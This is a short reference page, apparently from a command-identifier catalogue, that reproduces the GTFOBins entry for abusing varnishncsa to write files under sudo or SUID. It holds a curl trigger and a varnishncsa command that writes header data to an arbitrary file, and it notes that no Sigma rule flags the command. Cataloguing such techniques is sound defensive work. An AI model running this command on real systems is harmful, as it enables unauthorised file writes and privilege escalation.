Identifier / Programs / Linux and Unix
varnishncsa
GTFOBins file-write 1 documented command
How varnishncsa is abused
file-write
-g-q-F-wEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for varnishncsa.
1 documented command
file-write with sudo, as SUID
The command hangs, so the trigger command must be performed asynchronously or in another terminal:
curl -H 'xxx: DATA' http://localhost:6081/xxxxxxxxxxvarnishncsa -g request -q 'ReqURL ~ "/xxxxxxxxxx"' -F '%{yyy}i' -w /path/to/output-fileThe command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for varnishncsa. The identifier reads the line that runs varnishncsa.